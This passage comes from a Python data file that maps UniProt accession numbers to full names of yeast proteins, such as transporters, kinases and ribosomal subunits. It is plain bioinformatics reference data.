'P41948' : ntuniprot(RecName_Full='Ammonium transporter MEP2'),
'P42073' : ntuniprot(RecName_Full='RNA end formation protein 2'),
'P42222' : ntuniprot(RecName_Full='Enolase-related protein 3'),
'P42223' : ntuniprot(RecName_Full='Protein SBE2'),
'P42826' : ntuniprot(RecName_Full='Xylulose kinase'),
'P42833' : ntuniprot(RecName_Full='Hexose transporter HXT14'),
'P42834' : ntuniprot(RecName_Full='Mitochondrial DnaJ homolog 2'),
'P42835' : ntuniprot(RecName_Full='Protein EGT2'),
'P42836' : ntuniprot(RecName_Full='Palmitoyltransferase PFA3'),
'P42837' : ntuniprot(RecName_Full='Polyphosphoinositide phosphatase'),
'P42838' : ntuniprot(RecName_Full='Alkylphosphocholine resistance protein LEM3'),
'P42839' : ntuniprot(RecName_Full='Low affinity vacuolar monovalent cation/H(+) antiporter'),
'P42840' : ntuniprot(RecName_Full='Uncharacterized membrane protein YNL320W'),
'P42841' : ntuniprot(RecName_Full='Polyadenylation factor subunit 2'),
'P42842' : ntuniprot(RecName_Full='Essential for maintenance of the cell wall protein 1'),
'P42843' : ntuniprot(RecName_Full='F-box protein SKP2'),
'P42844' : ntuniprot(RecName_Full='Mitochondrial protein import protein ZIM17'),
'P42845' : ntuniprot(RecName_Full='Protein STB1'),
'P42846' : ntuniprot(RecName_Full='Protein KRI1'),
'P42847' : ntuniprot(RecName_Full='37S ribosomal protein S18, mitochondrial'),
'P42883' : ntuniprot(RecName_Full='4-amino-5-hydroxymethyl-2-methylpyrimidine phosphate synthase THI12 {ECO:0000250|UniProtKB:P43534}'),
'P42884' : ntuniprot(RecName_Full='Putative aryl-alcohol dehydrogenase AAD14'),
'P42900' : ntuniprot(RecName_Full='Sigma-like sequence protein 1, mitochondrial'),
'P42933' : ntuniprot(RecName_Full='Stationary phase protein 5'),
'P42934' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 6 {ECO:0000305}'),
'P42935' : ntuniprot(RecName_Full='Elongator complex protein 2'),
'P42936' : ntuniprot(RecName_Full='Putative elongation factor 1 gamma homolog'),
'P42937' : ntuniprot(RecName_Full='CDC25-like phosphatase YCH1'),
'P42938' : ntuniprot(RecName_Full='Probable ATP-dependent kinase TDA10'),
'P42939' : ntuniprot(RecName_Full='Multivesicular body sorting factor 12'),
'P42940' : ntuniprot(RecName_Full='Probable electron transfer flavoprotein subunit beta'),
'P42941' : ntuniprot(RecName_Full='Phosphoserine phosphatase'),
'P42942' : ntuniprot(RecName_Full='Uncharacterized GTP-binding protein YGR210C'),
'P42943' : ntuniprot(RecName_Full='T-complex protein 1 subunit eta'),
'P42944' : ntuniprot(RecName_Full='Protein GZF3'),
'P42945' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 10'),
'P42946' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 10'),
'P42947' : ntuniprot(RecName_Full='Uncharacterized UPF0442 protein YJL107C'),
'P42948' : ntuniprot(RecName_Full='SET domain-containing protein 4'),
'P42949' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM16'),
'P42950' : ntuniprot(RecName_Full='Glucose starvation modulator protein 1'),
'P42951' : ntuniprot(RecName_Full='Phosphatidylinositol 4-kinase LSB6'),
'P43122' : ntuniprot(RecName_Full='tRNA N6-adenosine threonylcarbamoyltransferase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03179}'),
'P43123' : ntuniprot(RecName_Full='UDP-N-acetylglucosamine pyrophosphorylase'),
'P43124' : ntuniprot(RecName_Full='Non-structural maintenance of chromosome element 4'),
'P43132' : ntuniprot(RecName_Full='COMPASS component BRE2'),
'P43321' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein Sm D3'),
'P43497' : ntuniprot(RecName_Full='Cell wall protein CWP2'),
'P43534' : ntuniprot(RecName_Full='4-amino-5-hydroxymethyl-2-methylpyrimidine phosphate synthase THI5 {ECO:0000303|PubMed:23048037}'),
'P43535' : ntuniprot(RecName_Full='Protein GCN20 {ECO:0000305}'),
'P43537' : ntuniprot(RecName_Full='Uncharacterized membrane protein YFL067W'),
'P43538' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YFL066C"),
'P43539' : ntuniprot(RecName_Full='Uncharacterized protein YFL065C'),
'P43540' : ntuniprot(RecName_Full='Uncharacterized protein YFL064C'),
'P43542' : ntuniprot(RecName_Full='Protein COS4'),
'P43544' : ntuniprot(RecName_Full="Probable pyridoxal 5'-phosphate synthase subunit SNO3"),
'P43545' : ntuniprot(RecName_Full="Probable pyridoxal 5'-phosphate synthase subunit SNZ3"),
'P43548' : ntuniprot(RecName_Full='General amino acid permease AGP3'),
'P43549' : ntuniprot(RecName_Full='Uncharacterized membrane protein YFL054C'),
'P43550' : ntuniprot(RecName_Full='Dihydroxyacetone kinase 2'),
'P43551' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YFL052W'),
'P43552' : ntuniprot(RecName_Full='Uncharacterized membrane protein YFL051C'),
'P43553' : ntuniprot(RecName_Full='Magnesium transporter ALR2'),
'P43554' : ntuniprot(RecName_Full='SWI/SNF global transcription activator complex subunit SWP82'),
'P43555' : ntuniprot(RecName_Full='Protein EMP47'),
'P43556' : ntuniprot(RecName_Full='Rho-GTPase-activating protein RGD2'),
'P43557' : ntuniprot(RecName_Full='Protein FMP32, mitochondrial'),
'P43558' : ntuniprot(RecName_Full='Ubiquitin thioesterase OTU1'),
'P43560' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein LAM5 {ECO:0000303|PubMed:26001273}'),
'P43561' : ntuniprot(RecName_Full='Iron transport multicopper oxidase FET5'),
'P43562' : ntuniprot(RecName_Full='Probable metabolite transport protein YFL040W'),
'P43563' : ntuniprot(RecName_Full='CBK1 kinase activator protein MOB2'),
'P43564' : ntuniprot(RecName_Full='Uncharacterized membrane protein YFL034W'),
'P43565' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RIM15'),
'P43567' : ntuniprot(RecName_Full='Alanine--glyoxylate aminotransferase 1'),
'P43568' : ntuniprot(RecName_Full='Serine/threonine-protein kinase CAK1'),
'P43569' : ntuniprot(RecName_Full='CCR4-associated factor 16'),
'P43570' : ntuniprot(RecName_Full='GTPase-activating protein GYP8'),
'P43571' : ntuniprot(RecName_Full='GPI inositol-deacylase'),
'P43572' : ntuniprot(RecName_Full='Enhancer of polycomb-like protein 1'),
'P43573' : ntuniprot(RecName_Full='Bud site selection protein 27'),
'P43574' : ntuniprot(RecName_Full='Transcriptional regulatory protein GAT1'),
'P43575' : ntuniprot(RecName_Full='Seripauperin-5'),
'P43577' : ntuniprot(RecName_Full='Glucosamine 6-phosphate N-acetyltransferase'),
'P43579' : ntuniprot(RecName_Full='Ino eighty subunit 1'),
'P43580' : ntuniprot(RecName_Full='Uncharacterized protein YFL012W'),
'P43581' : ntuniprot(RecName_Full='Hexose transporter HXT10'),
'P43582' : ntuniprot(RecName_Full='WW domain-containing protein WWM1'),
'P43583' : ntuniprot(RecName_Full='Proteasome activator BLM10'),
'P43585' : ntuniprot(RecName_Full='Vacuolar transporter chaperone 2'),
'P43586' : ntuniprot(RecName_Full='60S ribosomal subunit assembly/export protein LOC1'),
'P43587' : ntuniprot(RecName_Full='Type 1 phosphatases regulator YPI1'),
'P43588' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase RPN11'),
'P43589' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SAD1'),
'P43590' : ntuniprot(RecName_Full='Uncharacterized peptidase YFR006W'),
'P43591' : ntuniprot(RecName_Full='ATP-dependent kinase YFH7'),
'P43592' : ntuniprot(RecName_Full='Factor arrest protein 7'),
'P43593' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 6'),
'P43594' : ntuniprot(RecName_Full='MICOS complex subunit MIC19'),
'P43595' : ntuniprot(RecName_Full='Protein DCV1'),
'P43596' : ntuniprot(RecName_Full='ISWI one complex protein 3'),
'P43597' : ntuniprot(RecName_Full='Uncharacterized protein YFR016C'),
'P43598' : ntuniprot(RecName_Full='Inhibitor of glycogen debranching 1'),
'P43599' : ntuniprot(RecName_Full='Uncharacterized protein YFR018C'),
'P43600' : ntuniprot(RecName_Full='Uncharacterized protein YFR020W'),
'P43601' : ntuniprot(RecName_Full='Autophagy-related protein 18 {ECO:0000303|PubMed:14536056}'),
'P43602' : ntuniprot(RecName_Full='Protein ROG3'),
'P43603' : ntuniprot(RecName_Full='LAS seventeen-binding protein 3'),
'P43604' : ntuniprot(RecName_Full='Unfolded protein response-inducible protein 1'),
'P43605' : ntuniprot(RecName_Full='N-acetyltransferase ECO1'),
'P43606' : ntuniprot(RecName_Full='SPS-sensor component PTR3'),
'P43607' : ntuniprot(RecName_Full='Regulator of rDNA transcription protein 5'),
'P43608' : ntuniprot(RecName_Full='Uncharacterized protein YFR035C'),
'P43609' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC8'),
'P43610' : ntuniprot(RecName_Full='Uncharacterized ATP-dependent helicase IRC5'),
'P43611' : ntuniprot(RecName_Full='Outer spore wall protein 7 {ECO:0000303|PubMed:23966878}'),
'P43612' : ntuniprot(RecName_Full='SIT4-associating protein SAP155'),
'P43613' : ntuniprot(RecName_Full='ER-localized J domain-containing protein 5'),
'P43614' : ntuniprot(RecName_Full='Beta-1,6-glucan synthesis-associated protein KEG1'),
'P43615' : ntuniprot(RecName_Full='Increased recombination centers protein 6'),
'P43616' : ntuniprot(RecName_Full='Cys-Gly metallodipeptidase DUG1'),
'P43617' : ntuniprot(RecName_Full='Uncharacterized mitochondrial carrier YFR045W'),
'P43618' : ntuniprot(RecName_Full='Inner kinetochore subunit CNN1 {ECO:0000305}'),
'P43619' : ntuniprot(RecName_Full='Nicotinate-nucleotide pyrophosphorylase [carboxylating]'),
'P43620' : ntuniprot(RecName_Full='Sporulation protein RMD8'),
'P43621' : ntuniprot(RecName_Full='Coatomer subunit delta'),
'P43623' : ntuniprot(RecName_Full='Putative cystathionine beta-lyase'),
'P43625' : ntuniprot(RecName_Full='Uncharacterized protein YFR057W'),
'P43633' : ntuniprot(RecName_Full='Serine/threonine-protein kinase Haspin homolog ALK1'),
'P43634' : ntuniprot(RecName_Full='Activatory protein CHA4'),
'P43635' : ntuniprot(RecName_Full='Citrate synthase 3, mitochondrial {ECO:0000303|PubMed:9140965}'),
'P43636' : ntuniprot(RecName_Full='Alpha-1,3/1,6-mannosyltransferase ALG2'),
'P43637' : ntuniprot(RecName_Full='Serine/threonine-protein kinase TOS3'),
'P43638' : ntuniprot(RecName_Full='MAP-homologous protein 1'),
'P43639' : ntuniprot(RecName_Full='Casein kinase II subunit beta'),
'P43682' : ntuniprot(RecName_Full='Protein transport protein SFT1'),
'P45818' : ntuniprot(RecName_Full='ATP-dependent RNA helicase ROK1'),
'P45819' : ntuniprot(RecName_Full='Sporulation-specific protein 74'),
'P45820' : ntuniprot(RecName_Full='Putative uncharacterized protein HUR1'),
'P45976' : ntuniprot(RecName_Full='Pre-mRNA polyadenylation factor FIP1'),
'P45978' : ntuniprot(RecName_Full='Protein SCD6'),
'P46151' : ntuniprot(RecName_Full='Methylenetetrahydrofolate reductase 1'),
'P46367' : ntuniprot(RecName_Full='Potassium-activated aldehyde dehydrogenase, mitochondrial'),
'P46654' : ntuniprot(RecName_Full='40S ribosomal protein S0-B {ECO:0000255|HAMAP-Rule:MF_03015, ECO:0000303|PubMed:9559554}'),
'P46655' : ntuniprot(RecName_Full='Glutamate--tRNA ligase, cytoplasmic'),
'P46669' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA43'),
'P46670' : ntuniprot(RecName_Full='Tubulin-specific chaperone C'),
'P46671' : ntuniprot(RecName_Full='Factor arrest protein 3'),
'P46672' : ntuniprot(RecName_Full='tRNA-aminoacylation cofactor ARC1'),
'P46673' : ntuniprot(RecName_Full='Nucleoporin NUP85'),
'P46674' : ntuniprot(RecName_Full='Nuclear mRNA export protein SAC3'),
'P46675' : ntuniprot(RecName_Full='Protein STU2'),
'P46676' : ntuniprot(RecName_Full='Suppressor of mar1-1 protein'),
'P46677' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 1'),
'P46678' : ntuniprot(RecName_Full="Transcription factor TFIIIB component B''"),
'P46679' : ntuniprot(RecName_Full='Protein STB2'),
'P46680' : ntuniprot(RecName_Full='Actin-interacting protein 1'),
'P46681' : ntuniprot(RecName_Full='D-2-hydroxyglutarate--pyruvate transhydrogenase DLD2 {ECO:0000305}'),
'P46682' : ntuniprot(RecName_Full='AP-3 complex subunit beta'),
'P46683' : ntuniprot(RecName_Full='Ankyrin repeat-containing protein YAR1'),
'P46784' : ntuniprot(RecName_Full='40S ribosomal protein S10-B {ECO:0000303|PubMed:9559554}'),
'P46943' : ntuniprot(RecName_Full='Translation factor GUF1, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03137}'),
'P46944' : ntuniprot(RecName_Full='Trafficking protein particle complex III-specific subunit 85'),
'P46945' : ntuniprot(RecName_Full='Uncharacterized protein YGL176C'),
'P46946' : ntuniprot(RecName_Full='DNA endonuclease SAE2'),
'P46947' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC26'),
'P46948' : ntuniprot(RecName_Full='Exosome complex component SKI6'),
'P46949' : ntuniprot(RecName_Full='Protein FYV8'),
'P46950' : ntuniprot(RecName_Full='Nitrosoguanidine resistance protein SNG1'),
'P46951' : ntuniprot(RecName_Full='Cargo-transport protein YPP1'),
'P46954' : ntuniprot(RecName_Full='Protein SIP4'),
'P46955' : ntuniprot(RecName_Full='Beta-glucosidase-like protein NCA3, mitochondrial'),
'P46956' : ntuniprot(RecName_Full='Inorganic phosphate transporter PHO86'),
'P46957' : ntuniprot(RecName_Full='DNA polymerase delta small subunit'),
'P46958' : ntuniprot(RecName_Full='IME2-dependent-signaling protein'),
'P46959' : ntuniprot(RecName_Full='tRNA (adenine(58)-N(1))-methyltransferase catalytic subunit TRM61'),
'P46961' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase GPI2 subunit'),
'P46962' : ntuniprot(RecName_Full='CTD kinase subunit beta'),
'P46963' : ntuniprot(RecName_Full='CTD kinase subunit gamma'),
'P46964' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit OST2'),
'P46965' : ntuniprot(RecName_Full='Signal peptidase complex subunit SPC1'),
'P46969' : ntuniprot(RecName_Full='Ribulose-phosphate 3-epimerase'),
'P46970' : ntuniprot(RecName_Full='Nonsense-mediated mRNA decay protein 5'),
'P46971' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 4'),
'P46972' : ntuniprot(RecName_Full='Mitochondrial inner membrane protease subunit 2'),
'P46973' : ntuniprot(RecName_Full='Protein HIT1'),
'P46974' : ntuniprot(RecName_Full='Respiration factor 2'),
'P46982' : ntuniprot(RecName_Full='Alpha-1,2-mannosyltransferase MNN5'),
'P46983' : ntuniprot(RecName_Full='Autophagy-related protein 36'),
'P46984' : ntuniprot(RecName_Full='EKC/KEOPS complex subunit GON7'),
'P46985' : ntuniprot(RecName_Full='Probable alpha-1,6-mannosyltransferase MNN11'),
'P46987' : ntuniprot(RecName_Full='UPF0508 protein YJL181W'),
'P46988' : ntuniprot(RecName_Full='Prefoldin subunit 1'),
'P46989' : ntuniprot(RecName_Full='Autophagy-related protein 27'),
'P46990' : ntuniprot(RecName_Full='60S ribosomal protein L17-B {ECO:0000303|PubMed:9559554}'),
'P46992' : ntuniprot(RecName_Full='Cell wall protein YJL171C'),
'P46993' : ntuniprot(RecName_Full='Protein ASG7'),
'P46995' : ntuniprot(RecName_Full='Histone-lysine N-methyltransferase, H3 lysine-36 specific'),
'P46996' : ntuniprot(RecName_Full='Uncharacterized membrane protein YJL163C'),
'P46997' : ntuniprot(RecName_Full='J protein JJJ2'),
'P46998' : ntuniprot(RecName_Full='Mitochondrial membrane protein FMP33'),
'P46999' : ntuniprot(RecName_Full='Cell wall protein PIR5'),
'P47001' : ntuniprot(RecName_Full='Cell wall mannoprotein CIS3'),
'P47002' : ntuniprot(RecName_Full='SPS-sensor serine protease component SSY5'),
'P47005' : ntuniprot(RecName_Full='F-box protein DAS1'),
'P47006' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA34'),
'P47007' : ntuniprot(RecName_Full='MIOREX complex component 5 {ECO:0000305|PubMed:25683707}'),
'P47008' : ntuniprot(RecName_Full='Phosphatidylinositol transfer protein SFH5'),
'P47009' : ntuniprot(RecName_Full='Uncharacterized protein YJL144W'),
'P47011' : ntuniprot(RecName_Full='Glycogenin-2'),
'P47013' : ntuniprot(RecName_Full='Dihydrosphingosine 1-phosphate phosphatase LCB3'),
'P47014' : ntuniprot(RecName_Full='Uncharacterized protein YJL132W'),
'P47015' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 23, mitochondrial'),
'P47016' : ntuniprot(RecName_Full='Deaminated glutathione amidase {ECO:0000303|PubMed:28373563}'),
'P47017' : ntuniprot(RecName_Full='Sm-like protein LSm1'),
'P47018' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 1'),
'P47019' : ntuniprot(RecName_Full='Ribosome biogenesis protein ALB1'),
'P47022' : ntuniprot(RecName_Full='Uncharacterized protein YJL118W'),
'P47023' : ntuniprot(RecName_Full='Transposon Ty4-J Gag polyprotein'),
'P47024' : ntuniprot(RecName_Full='Transposon Ty4-J Gag-Pol polyprotein'),
'P47025' : ntuniprot(RecName_Full='Mitochondrial division protein 1'),
'P47026' : ntuniprot(RecName_Full='GPI-anchored wall transfer protein 1'),
'P47027' : ntuniprot(RecName_Full='DNA replication regulator DPB11'),
'P47029' : ntuniprot(RecName_Full='Arrestin-related trafficking adapter 3'),
'P47030' : ntuniprot(RecName_Full='Protein TAX4'),
'P47031' : ntuniprot(RecName_Full='Inclusion body clearance protein IML2 {ECO:0000305|PubMed:26004510}'),
'P47032' : ntuniprot(RecName_Full='Protein PRY1 {ECO:0000305}'),
'P47033' : ntuniprot(RecName_Full='Cell wall protein PRY3'),
'P47034' : ntuniprot(RecName_Full='Increased copper sensitivity protein 3'),
'P47035' : ntuniprot(RecName_Full='Nucleolar protein NET1'),
'P47037' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 3'),
'P47039' : ntuniprot(RecName_Full='Probable kynurenine--oxoglutarate transaminase BNA3'),
'P47040' : ntuniprot(RecName_Full='Protein BTN1'),
'P47041' : ntuniprot(RecName_Full='Target of rapamycin complex 2 subunit BIT61'),
'P47042' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase IKS1'),
'P47043' : ntuniprot(RecName_Full='Zinc-responsive transcriptional regulator ZAP1'),
'P47044' : ntuniprot(RecName_Full='LOG family protein YJL055W'),
'P47045' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM54'),
'P47046' : ntuniprot(RecName_Full='Uncharacterized protein IRC8'),
'P47047' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DOB1'),
'P47048' : ntuniprot(RecName_Full='Uncharacterized protein YJL049W'),
'P47049' : ntuniprot(RecName_Full='UBX domain-containing protein 6'),
'P47050' : ntuniprot(RecName_Full='Cullin-8'),
'P47051' : ntuniprot(RecName_Full='Putative lipoate-protein ligase A'),
'P47052' : ntuniprot(RecName_Full='Succinate dehydrogenase [ubiquinone] flavoprotein subunit 2, mitochondrial'),
'P47053' : ntuniprot(RecName_Full='Uncharacterized protein YJL043W'),
'P47054' : ntuniprot(RecName_Full='Nucleoporin NUP192'),
'P47055' : ntuniprot(RecName_Full='Outer spore wall protein 4 {ECO:0000303|PubMed:19779569}'),
'P47056' : ntuniprot(RecName_Full='Outer spore wall protein 6 {ECO:0000303|PubMed:23966878}'),
'P47057' : ntuniprot(RecName_Full='Sorting nexin-4'),
'P47058' : ntuniprot(RecName_Full='tRNA-specific adenosine deaminase subunit TAD2'),
'P47061' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 53'),
'P47062' : ntuniprot(RecName_Full='Uncharacterized protein YJL028W'),
'P47063' : ntuniprot(RecName_Full='Uncharacterized protein YJL027C'),
'P47064' : ntuniprot(RecName_Full='AP-3 complex subunit sigma'),
'P47065' : ntuniprot(RecName_Full='Protein PET130'),
'P47068' : ntuniprot(RecName_Full='Myosin tail region-interacting protein MTI1'),
'P47069' : ntuniprot(RecName_Full='Spindle pole body assembly component MPS3'),
'P47072' : ntuniprot(RecName_Full='Uncharacterized protein YJL016W'),
'P47074' : ntuniprot(RecName_Full='Spindle assembly checkpoint component MAD3'),
'P47075' : ntuniprot(RecName_Full='Vacuolar transporter chaperone 4'),
'P47076' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC9'),
'P47077' : ntuniprot(RecName_Full='Nucleolar protein 9'),
'P47079' : ntuniprot(RecName_Full='T-complex protein 1 subunit theta'),
'P47081' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX16, mitochondrial'),
'P47082' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 1'),
'P47083' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein MPP10'),
'P47084' : ntuniprot(RecName_Full='MIOREX complex component 12 {ECO:0000305|PubMed:25683707}'),
'P47085' : ntuniprot(RecName_Full='MEMO1 family protein YJR008W'),
'P47086' : ntuniprot(RecName_Full='Uncharacterized protein YJR011C'),
'P47087' : ntuniprot(RecName_Full='Uncharacterized protein YJR012C'),
'P47088' : ntuniprot(RecName_Full='GPI mannosyltransferase 1'),
'P47089' : ntuniprot(RecName_Full='Translation machinery-associated protein 22'),
'P47090' : ntuniprot(RecName_Full='Uncharacterized endoplasmic reticulum membrane protein YJR015W'),
'P47093' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm8'),
'P47095' : ntuniprot(RecName_Full='Methylthioribulose-1-phosphate dehydratase {ECO:0000255|HAMAP-Rule:MF_03116}'),
'P47096' : ntuniprot(RecName_Full='3-hydroxyanthranilate 3,4-dioxygenase {ECO:0000255|HAMAP-Rule:MF_03019}'),
'P47098' : ntuniprot(RecName_Full='Transposon Ty1-JR1 Gag-Pol polyprotein'),
'P47099' : ntuniprot(RecName_Full='Transposon Ty1-JR2 Gag polyprotein'),
'P47100' : ntuniprot(RecName_Full='Transposon Ty1-JR2 Gag-Pol polyprotein'),
'P47101' : ntuniprot(RecName_Full='UPF0508 protein YJR030C'),
'P47102' : ntuniprot(RecName_Full='ARF guanine-nucleotide exchange factor 1'),
'P47103' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase CYP7'),
'P47104' : ntuniprot(RecName_Full='Regulator of V-ATPase in vacuolar membrane protein 1'),
'P47107' : ntuniprot(RecName_Full='Uncharacterized protein YJR039W'),
'P47108' : ntuniprot(RecName_Full='Nucleolar pre-ribosomal-associated protein 2'),
'P47110' : ntuniprot(RecName_Full='DNA polymerase delta subunit 3'),
'P47111' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 55'),
'P47112' : ntuniprot(RecName_Full='Cell division cycle protein CDT1'),
'P47113' : ntuniprot(RecName_Full='Mitotic check point protein BFA1'),
'P47114' : ntuniprot(RecName_Full='Uncharacterized vacuolar membrane protein YJR054W'),
'P47115' : ntuniprot(RecName_Full='Uncharacterized protein YJR056C'),
'P47116' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PTK2/STK2'),
'P47117' : ntuniprot(RecName_Full='Actin-related protein 3'),
'P47118' : ntuniprot(RecName_Full='Protein YAE1'),
'P47119' : ntuniprot(RecName_Full='Inosine triphosphate pyrophosphatase {ECO:0000255|HAMAP-Rule:MF_03148}'),
'P47120' : ntuniprot(RecName_Full='Deoxyhypusine hydroxylase {ECO:0000255|HAMAP-Rule:MF_03101}'),
'P47122' : ntuniprot(RecName_Full='GPN-loop GTPase 1 {ECO:0000303|PubMed:21532343}'),
'P47123' : ntuniprot(RecName_Full='Nuclear import protein MOG1'),
'P47124' : ntuniprot(RecName_Full='Putative glycosyltransferase HOC1'),
'P47125' : ntuniprot(RecName_Full='Indoleamine 2,3-dioxygenase'),
'P47126' : ntuniprot(RecName_Full='Uncharacterized protein YJR079W'),
'P47127' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 24, mitochondrial'),
'P47128' : ntuniprot(RecName_Full='Chromatin modification-related protein EAF6'),
'P47129' : ntuniprot(RecName_Full='Assembly-complementing factor 4'),
'P47130' : ntuniprot(RecName_Full='Cop9 signalosome complex subunit 12'),
'P47131' : ntuniprot(RecName_Full='TMEM14 protein homolog YJR085C'),
'P47133' : ntuniprot(RecName_Full='ER membrane protein complex subunit 2'),
'P47134' : ntuniprot(RecName_Full='Protein BIR1'),
'P47135' : ntuniprot(RecName_Full='Protein JSN1'),
'P47136' : ntuniprot(RecName_Full='Bud site selection protein 4'),
'P47137' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YJR096W'),
'P47138' : ntuniprot(RecName_Full='Diphthamide biosynthesis protein 4'),
'P47139' : ntuniprot(RecName_Full='Uncharacterized protein YJR098C'),
'P47140' : ntuniprot(RecName_Full='Altered inheritance rate of mitochondria protein 25'),
'P47141' : ntuniprot(RecName_Full='37S ribosomal protein S26, mitochondrial'),
'P47142' : ntuniprot(RecName_Full='Vacuolar protein-sorting-associated protein 25'),
'P47143' : ntuniprot(RecName_Full='Adenosine kinase'),
'P47144' : ntuniprot(RecName_Full='Protein ECM27'),
'P47145' : ntuniprot(RecName_Full='Putative lipase YJR107W'),
'P47146' : ntuniprot(RecName_Full='Aberrant microtubules protein 1'),
'P47147' : ntuniprot(RecName_Full='Phosphoinositide 3-phosphatase'),
'P47148' : ntuniprot(RecName_Full='Uncharacterized protein YJR111C'),
'P47149' : ntuniprot(RecName_Full='Kinetochore-associated protein NNF1'),
'P47150' : ntuniprot(RecName_Full='37S ribosomal protein S7, mitochondrial'),
'P47152' : ntuniprot(RecName_Full='Uncharacterized protein YJR115W'),
'P47153' : ntuniprot(RecName_Full='Topoisomerase I damage affected protein 4'),
'P47154' : ntuniprot(RecName_Full='CAAX prenyl protease 1'),
'P47155' : ntuniprot(RecName_Full='Protein ILM1'),
'P47156' : ntuniprot(RecName_Full='Histone demethylase JHD2'),
'P47157' : ntuniprot(RecName_Full='Putative uncharacterized protein YJR120W'),
'P47158' : ntuniprot(RecName_Full='Putative transferase CAF17, mitochondrial'),
'P47159' : ntuniprot(RecName_Full='Uncharacterized membrane protein YJR124C'),
'P47160' : ntuniprot(RecName_Full='Epsin-3'),
'P47161' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 70'),
'P47163' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM3 {ECO:0000305|PubMed:25086354}'),
'P47164' : ntuniprot(RecName_Full='Cystathionine gamma-synthase'),
'P47165' : ntuniprot(RecName_Full='Xanthine phosphoribosyltransferase 1'),
'P47166' : ntuniprot(RecName_Full='Protein SGM1'),
'P47167' : ntuniprot(RecName_Full='Inner kinetochore subunit MCM22 {ECO:0000305}'),
'P47168' : ntuniprot(RecName_Full='TEL2-interacting protein 2'),
'P47169' : ntuniprot(RecName_Full='Sulfite reductase [NADPH] subunit beta'),
'P47170' : ntuniprot(RecName_Full='Vacuolar membrane-associated protein IML1'),
'P47171' : ntuniprot(RecName_Full='Histone transcription regulator 3'),
'P47172' : ntuniprot(RecName_Full='Uncharacterized protein YJR141W'),
'P47173' : ntuniprot(RecName_Full='Uncharacterized protein YJR142W'),
'P47174' : ntuniprot(RecName_Full='Uncharacterized protein YJR146W'),
'P47175' : ntuniprot(RecName_Full='Probable transcription factor HMS2'),
'P47176' : ntuniprot(RecName_Full='Branched-chain-amino-acid aminotransferase, cytosolic'),
'P47177' : ntuniprot(RecName_Full='Putative nitronate monooxygenase'),
'P47178' : ntuniprot(RecName_Full='Cell wall protein DAN1'),
'P47179' : ntuniprot(RecName_Full='Cell wall protein DAN4 {ECO:0000305}'),
'P47180' : ntuniprot(RecName_Full='Polygalacturonase'),
'P47181' : ntuniprot(RecName_Full='Uncharacterized protein YJR154W'),
'P47182' : ntuniprot(RecName_Full='Putative aryl-alcohol dehydrogenase AAD10'),
'P47183' : ntuniprot(RecName_Full='4-amino-5-hydroxymethyl-2-methylpyrimidine phosphate synthase THI11 {ECO:0000250|UniProtKB:P43534}'),
'P47185' : ntuniprot(RecName_Full='Hexose transporter HXT16'),
'P47187' : ntuniprot(RecName_Full='Protein COS5'),
'P47190' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 3 {ECO:0000305}'),
'P47771' : ntuniprot(RecName_Full='Aldehyde dehydrogenase [NAD(P)+] 1'),
'P47818' : ntuniprot(RecName_Full='Protein CCC1'),
'P47821' : ntuniprot(RecName_Full='RNA polymerase II holoenzyme cyclin-like subunit'),
'P47822' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 21'),
'P47912' : ntuniprot(RecName_Full='Long-chain-fatty-acid--CoA ligase 4'),
'P47976' : ntuniprot(RecName_Full='mRNA decay factor CTH1'),
'P47977' : ntuniprot(RecName_Full='mRNA decay factor CTH2'),
'P47988' : ntuniprot(RecName_Full='TY1 enhancer activator'),
'P48015' : ntuniprot(RecName_Full='Aminomethyltransferase, mitochondrial'),
'P48016' : ntuniprot(RecName_Full='Vacuolar acid trehalase'),
'P48164' : ntuniprot(RecName_Full='40S ribosomal protein S7-B {ECO:0000303|PubMed:9559554}'),
'P48231' : ntuniprot(RecName_Full='Tricalbin-2'),
'P48232' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit SNN1'),
'P48234' : ntuniprot(RecName_Full='Ribosome biogenesis protein ENP2'),
